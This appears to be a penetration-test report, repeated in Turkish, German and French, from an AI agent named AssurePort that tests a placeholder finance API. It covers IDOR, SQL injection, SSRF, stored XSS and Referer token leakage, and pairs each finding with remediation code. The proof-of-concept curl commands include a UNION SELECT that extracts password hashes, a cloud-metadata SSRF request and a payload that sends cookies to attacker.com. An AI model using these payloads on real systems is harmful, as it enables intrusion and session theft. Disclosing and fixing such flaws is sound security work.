Aktif test aşamasında AssurePort ajanı, faturalandırma API uç noktasının (endpoint) oturum açmış kullanıcının istenen müşteri kaynağına erişim izni olup olmadığını doğrulamadığını tespit etmiştir. URL yolundaki tenantId parametresini değiştiren herhangi bir yetkili düşük düzeyli kullanıcı, diğer şirketlerin fatura ayrıntılarını ve ödeme bilgilerini okuyabilir.

Ajan, düşük yetkili bir kullanıcı token'ı kullanarak kurbanın müşteri ID'sini (999) içeren kontrollü bir HTTP isteği çalıştırmıştır. Uygulama, kurum bilgilerini ve ödeme verilerini dışarıya sızdırmıştır.

curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \
  -H "Authorization: Bearer dusuk_yetkili_token"

Veritabanı sorgusu çalıştırılmadan önce oturum açmış kullanıcının müşteri ID'si ile talep edilen kaynak müşteri ID'sini karşılaştıran sunucu taraflı yetkilendirme kontrolü ekleyin.

const checkTenantAccess = async (req, res, next) => {
  const { tenantId } = req.params;
  const { user } = req; // Auth token middleware tarafından doldurulur
  
  if (user.tenantId !== tenantId) {
    return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
  }
  next();
};

Uygulama, arama parametresi q içindeki güvensiz girdilerden doğrudan dinamik SQL sorgu dizileri oluşturmaktadır. Bu, bir saldırganın sorgu mantığını manipüle ederek rastgele SQL komutları yürütmesine ve veritabanı şemasını sızdırmasına olanak tanır.

Ajan, test veritabanı tablolarını çekmek için arama sorgusunun sonuna bir UNION SELECT ifadesi ekleyerek sömürü dizisini başarıyla doğrulamıştır.

curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"

Dinamik dizeleri birleştirmek yerine, sorguları yapılandırmak için her zaman parametrik sorgular (prepared statements) kullanın.

# Parametrik sorgu ile düzeltme
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))

Uygulamanın /api/v2/webhooks uç noktası, kullanıcıların olay bildirimlerini (events) almak için özel URL'ler tanımlamasına izin verir. Sunucu tarafındaki istek mekanizması, hedef IP adresinin dahili (internal) bir ağ kaynağı olup olmadığını kontrol etmemektedir. Bir saldırgan, bulut sağlayıcısının metadata servisini veya yerel ağdaki servisleri hedef göstererek hassas verileri sızdırabilir.

Ajan, bulut metadata servisini hedef alan ve makine bilgilerini çeken kontrollü bir HTTP isteği çalıştırmıştır.

curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
  -H "Authorization: Bearer dusuk_yetkili_token" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'

İstek başlatılmadan önce alan adını çözün (resolve) ve çözülen IP adresinin özel, yerel veya loopback ağlarında bulunmadığını doğrulayın.

const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
  const parsed = new URL(targetUrl);
  const addresses = await dns.resolve(parsed.hostname);
  for (const addr of addresses) {
    if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
      throw new Error('Forbidden: Internal target IP');
    }
  }
};

/api/v2/user/profile profil güncelleme uç noktasındaki display_name parametresi, filtrelenmeden veya HTML kodlaması yapılmadan veritabanına kaydedilmektedir. Diğer ekip üyeleri veya yöneticiler bu kullanıcı profilini görüntülediğinde, zararlı JavaScript kodları tarayıcılarında çalışarak oturum çalınmasına yol açabilir.

Ajan, profil verisi içerisine JavaScript ile oturum çalma kodları içeren bir payload'u başarıyla kaydetmiştir.

curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
  -H "Authorization: Bearer dusuk_yetkili_token" \
  -H "Content-Type: application/json" \
  -d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'

İstemci uygulamasında kullanıcı tarafından girilen alanları render ederken her zaman verileri temizleyin (sanitize) ya da HTML kaçış karakterlerini (escaping) kullanın.

import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
  const cleanName = DOMPurify.sanitize(profile.displayName);
  return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};

Uygulama, OAuth oturum anahtarlarını veya API token'larını URL parametrelerinde taşımaktadır. Kullanıcı harici bir alan adına yönlendiren bir bağlantıya tıkladığında, tarayıcı bu hassas token'ı HTTP Referer başlığı içinde üçüncü taraf sunucuya iletir.

Ajan, sayfaya gömülü üçüncü taraf bir analytics bileşenine giden bağlantı takip edildiğinde tetiklenen giden isteği gözlemlemiştir. Sorgu dizesine yerleştirilmiş oturum token'ı dahil olmak üzere tam sayfa URL'si, Referer başlığında olduğu gibi iletilmiştir; yani bu token üçüncü tarafın kendi erişim loglarına düşmektedir.

GET /partner-dashboard HTTP/1.1
Host: analytics.thirdparty.example
Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED

1. Oturum kimliklerini URL'de taşımak yerine Secure, HttpOnly, SameSite=Strict çerezlerde (cookies) saklayın.

2. Web uygulamasının yanıt başlıklarında katı bir Referrer Policy yapılandırın:

Referrer-Policy: strict-origin-when-cross-origin

Während der aktiven Ausführungsphase stellte der AssurePort-Agent fest, dass die Abrechnungs-API nicht prüft, ob der authentifizierte Benutzer berechtigt ist, auf die Abrechnungsdaten des angeforderten Mandanten zuzugreifen. Durch Ersetzen des Pfadparameters tenantId kann jeder authentifizierte Benutzer mit geringen Rechten die Rechnungsdaten und Invoices anderer Unternehmen auslesen.

Der Agent führte eine kontrollierte HTTP-Anfrage unter Ersetzung der Mandanten-ID des Opfers (999) mit einem Token mit geringen Rechten aus. Die Anwendung gab Organisationsdaten und Zahlungsinformationen preis.

curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \
  -H "Authorization: Bearer low_priv_user_token"

Implementieren Sie serverseitige Autorisierungsprüfungen, die vor dem Datenbankzugriff die Mandanten-ID des angemeldeten Benutzers mit der angeforderten Mandanten-ID abgleichen.

const checkTenantAccess = async (req, res, next) => {
  const { tenantId } = req.params;
  const { user } = req; // Aus dem Authentifizierungs-Middleware befüllt
  
  if (user.tenantId !== tenantId) {
    return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
  }
  next();
};

Die Anwendung baut SQL-Abfragezeichenfolgen direkt aus unsicheren Benutzereingaben im Suchparameter q zusammen. Dies ermöglicht es einem Angreifer, SQL-Abfragelogik zu manipulieren, um beliebige Befehle auszuführen.

Der Agent bestätigte die Ausnutzung erfolgreich, indem er ein UNION SELECT-Statement an die Suche anhängte, um Tabellendaten auszulesen.

curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"

Verwenden Sie immer parametrisierte Abfragen (Prepared Statements) anstelle von String-Verkettungen.

# Behebung durch parametrisierte Abfrage
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))

Der Endpunkt /api/v2/webhooks ermöglicht es Benutzern, eigene URLs für den Empfang von Event-Benachrichtigungen zu registrieren. Der serverseitige Request-Dispatcher validiert nicht, ob die Ziel-IP-Adresse auf eine interne Ressource verweist. Ein Angreifer kann die Cloud-Metadaten-IP oder interne Server angeben, um sensible Infrastrukturdaten auszulesen.

Der Agent führte eine Anfrage aus, die auf die Cloud-Metadaten-Service-IP zielte, um Instanzdaten abzurufen.

curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
  -H "Authorization: Bearer low_priv_user_token" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'

Lösen Sie den Hostnamen auf und überprüfen Sie vor dem Senden der Anfrage, ob sich die Ziel-IP-Adresse in privaten, lokalen oder Loopback-Bereichen befindet.

const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
  const parsed = new URL(targetUrl);
  const addresses = await dns.resolve(parsed.hostname);
  for (const addr of addresses) {
    if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
      throw new Error('Forbidden: Internal target IP');
    }
  }
};

Der Parameter display_name in der Profil-Aktualisierungs-API /api/v2/user/profile wird ohne Bereinigung oder HTML-Codierung in der Datenbank gespeichert. Wenn andere Teammitglieder oder Administratoren das Benutzerprofil aufrufen, wird der bösartige JavaScript-Payload in deren Browser-Session ausgeführt.

Der Agent führte eine Anfrage aus, die einen schädlichen Session-Diebstahl-Payload im Profil speicherte.

curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
  -H "Authorization: Bearer low_priv_user_token" \
  -H "Content-Type: application/json" \
  -d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'

Bereinigen Sie dynamische Werte immer oder erzwingen Sie eine strikte Maskierung von Ausgaben, wenn Sie benutzergenerierte Textfelder rendern.

import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
  const cleanName = DOMPurify.sanitize(profile.displayName);
  return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};

Die Anwendung übergibt OAuth-Sitzungs-Token oder API-Schlüssel als URL-Abfrageparameter. Klickt ein Benutzer auf einen Link zu einer externen Domain, überträgt der Browser die vollständige URL inklusive Token im Referer-Header.

Der Agent beobachtete eine ausgehende Anfrage, die ausgelöst wurde, nachdem ein Benutzer einem Link zu einem auf der Seite eingebetteten Drittanbieter-Analytics-Widget gefolgt war. Die vollständige Seiten-URL — einschließlich des in der Query-String platzierten Sitzungs-Tokens — wurde unverändert im Referer-Header weitergegeben und landet damit in den eigenen Zugriffsprotokollen dieses Drittanbieters.

GET /partner-dashboard HTTP/1.1
Host: analytics.thirdparty.example
Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED

1. Speichern Sie Sitzungs-IDs in Secure, HttpOnly, SameSite=Strict Cookies, anstatt sie in der URL-Abfragezeichenfolge zu übergeben.

2. Konfigurieren Sie einen strengen Referrer-Policy-Header in den Antworten des Webservers:

Referrer-Policy: strict-origin-when-cross-origin

Lors de la phase d'exécution active, l'agent AssurePort a identifié que l'endpoint d'API de facturation ne valide pas correctement si l'utilisateur authentifié a accès aux ressources de facturation du client (tenant) demandé. En modifiant le paramètre de chemin tenantId, tout utilisateur authentifié disposant de faibles privilèges peut lire les détails de facturation et les factures d'autres entreprises.

L'agent a exécuté une requête HTTP contrôlée en remplaçant l'ID du client par celui de la victime (999) à l'aide d'un token d'utilisateur à faibles privilèges. L'application a divulgué les données de paiement et de l'organisation.

curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \
  -H "Authorization: Bearer low_priv_user_token"

Implémentez des contrôles d'autorisation côté serveur comparant le jeton du client de l'utilisateur authentifié avec l'ID du client de la ressource demandée avant d'exécuter la requête de base de données.

const checkTenantAccess = async (req, res, next) => {
  const { tenantId } = req.params;
  const { user } = req; // Rempli par le middleware d'authentification
  
  if (user.tenantId !== tenantId) {
    return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
  }
  next();
};

L'application construit des chaînes de requêtes SQL dynamiques directement à partir d'entrées non fiables dans le paramètre de recherche q. Cela permet à un attaquant de manipuler la logique des requêtes pour exécuter des commandes SQL arbitraires, entraînant un accès non autorisé aux données.

L'agent a validé avec succès l'exploitation en ajoutant une clause UNION SELECT à la requête de recherche pour extraire les tables de la base de données.

curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"

Utilisez toujours des requêtes paramétrées (prepared statements) plutôt que des concaténations de chaînes pour structurer vos requêtes.

# Correction par requête paramétrée
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))

L'endpoint d'API /api/v2/webhooks permet aux utilisateurs d'enregistrer des URL personnalisées pour recevoir des notifications d'événements. Le service d'envoi de requêtes côté serveur ne valide pas si l'adresse IP de destination pointe vers une ressource réseau interne. Un attaquant peut cibler le service de métadonnées du cloud pour lire des données d'infrastructure sensibles.

L'agent a exécuté une requête HTTP ciblant le service de métadonnées de l'instance cloud pour récupérer des clés de configuration.

curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
  -H "Authorization: Bearer low_priv_user_token" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'

Résolvez le nom d'hôte et validez que l'adresse IP ne réside pas dans des plages privées, de loopback ou de réseau local avant d'initier la requête.

const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
  const parsed = new URL(targetUrl);
  const addresses = await dns.resolve(parsed.hostname);
  for (const addr of addresses) {
    if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
      throw new Error('Forbidden: Internal target IP');
    }
  }
};

Le paramètre display_name de l'API de mise à jour du profil /api/v2/user/profile est enregistré dans la base de données sans filtrage ni encodage HTML. Lorsque d'autres membres de l'équipe ou des administrateurs consultent le profil de cet utilisateur, le code JavaScript malveillant s'exécute dans leur session de navigateur.

L'agent a exécuté une requête stockant un script de vol de session dans les données du profil utilisateur.

curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
  -H "Authorization: Bearer low_priv_user_token" \
  -H "Content-Type: application/json" \
  -d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'

Nettoyez systématiquement les valeurs dynamiques ou appliquez un échappement strict pour restituer les champs de saisie utilisateur.

import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
  const cleanName = DOMPurify.sanitize(profile.displayName);
  return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};

L'application transmet des jetons de session OAuth ou des clés d'API comme paramètres d'URL de navigation. Lorsqu'un utilisateur clique sur un lien vers un domaine externe, le navigateur transmet l'URL complète contenant le jeton dans l'en-tête HTTP Referer.

L'agent a observé une requête sortante déclenchée après qu'un utilisateur a suivi un lien vers un widget d'analyse tiers intégré à la page. L'URL complète de la page — y compris le jeton de session placé dans la chaîne de requête — a été transmise telle quelle dans l'en-tête Referer, ce qui la fait apparaître dans les journaux d'accès propres à ce tiers.

GET /partner-dashboard HTTP/1.1
Host: analytics.thirdparty.example
Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED

1. Stockez les identifiants de session dans des cookies Secure, HttpOnly, SameSite=Strict au lieu de les transmettre dans l'URL.

2. Configurez un en-tête Referrer-Policy strict sur le serveur web :

Referrer-Policy: strict-origin-when-cross-origin